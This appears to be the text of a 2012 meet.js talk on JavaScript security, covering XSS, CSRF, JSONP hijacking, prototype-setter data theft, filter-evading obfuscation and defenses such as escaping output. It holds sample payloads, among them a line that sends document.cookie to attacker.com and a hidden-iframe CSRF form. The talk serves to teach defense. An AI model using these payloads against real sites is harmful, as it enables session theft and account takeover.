Pronounced non-existent long ago...
@naugtur, meet.js 03.2012...userinput... <script> alert(document.cookie) </script>
...userinput..." onmouseover="alert(document.cookie)"
http://example.com/?page=<script> alert(document.cookie) </script>
404, There is no page <script> alert(document.cookie) </script>
<form method="POST" action="http://ebay.com/buy?item=123" >
<iframe style="opacity:0" src="http://ebay.com/auction?123" >
var img=new Image(); img.src="http://attacker.com/?cookies="+encodeURIComponent(document.cookie)
Set-Cookie: <name>=<value>[; <Max-Age>=<age>]
[; expires=<date>][; domain=<domain_name>]
[; path=<some_path>][; secure][; HttpOnly]
function simpleJSONP(address,callbackFunction){
var randomNum = ~~(Math.random()*100000); //long random
window['somename'+randomNum]=callbackFunction;
var script = document.createElement('script');
script.setAttribute('src', address+'?jsoncallback=somename'+randomNum);
document.getElementsByTagName('head')[0].appendChild(script);
//and there's some cleanup later
}
somename298374({/*data*/})
document.body.innerHTML="Eat moar viagra!" //advertisement
somename298374({/*data*/}) //expected content
function Array() {
for(var i=0;i<arguments.length;i+=1){
console.log(arguments[i]);
}
}
var arr=[1,2,3];
var arr=new Array(1,2,3);
function(data){
var x={}; //some private variable
x.data=data;
};
Object.prototype.__defineSetter__('data', function() {
console.log(['item',arguments]);
});
OR
Object.defineProperty(Object.prototype, 'data', {
set:function(obj) {
console.log(obj);
}
});
Hard to find a good way to defend.
The method requires knowing key names.
Random variable names server side in session?
$('#something').html(variableContainingText);
document.getElementById('something').innerHTML(variableContainingText);
$('#something').text(variableContainingText);
var oText = document.createTextNode(variableContainingText);
document.getElementById('something').appendChild(oText);
var variableContainingText = "some user input <script src= ..."
(function(){
var cantAccessMe=1;
})()
undefined=true; //what an asshole
(function(options,undefined){
//undefined is undefined here :)
})({/*anything*/})
window['``~~!@#$%^&*)(_+--=']="I guess this global variable name is free";
var Fn = Function, global = Fn('return this')();
Do JSONP in an different-origin iframe and pass results via iframe-to-iframe communication.
It's supposed to be able to filter out risky javascript... Yeah, I wonder how it handles this:
$=''|'',_=$+!"",__=_+_,___=__+_,($)[_$=($$=(_$=""+{})[__+__+_])+_$[_]+(""+_$[-__])[_]+(""+!_)[___]+($_=(_$=""+!$)[$])+_$[_]+_$[__]+$$+$_+(""+{})[_]+_$[_]][_$]((_$=""+!_)[_]+_$[__]+_$[__+__]+(_$=""+!$)[_]+_$[$]+"("+_+")")();
It's called obfuscation and actually does this:
alert(1);
This is some obfuscated javascript that doesn't seem to work anymore (it's from 2009). Note the characters used in the code...
(µ=[µ=[]][(ø=!µ+µ)[ª=-~-~-~µ]+({}+µ)[ª/ª]+(æ=(µª=!!ª+µ)[ª/ª]+µª[+µ])])()[ø[ª/ª]+ø[ª+~µ]+µª[ª]+æ](ª/ª)
I'm not sure what it did, now it throws an error when trying to run Array.prototype.sort on null. You see that there, right? :P
Still thinking you can filter out XSS? You will just allow some safe tags like a simple link without javascrip in it?
<a href="javascript:alert(1)">Test</a>
Test
Think twice
It started with Netscape4 and is (silently) being continued.
http://www.mozilla.org/projects/security/components/signed-scripts.htmlSigned scripts are kept in a .jar archive and can't be changed without the browser noticing that. They can also ask for more permissions
So it's probably a threat if you add some social engineering
naugtur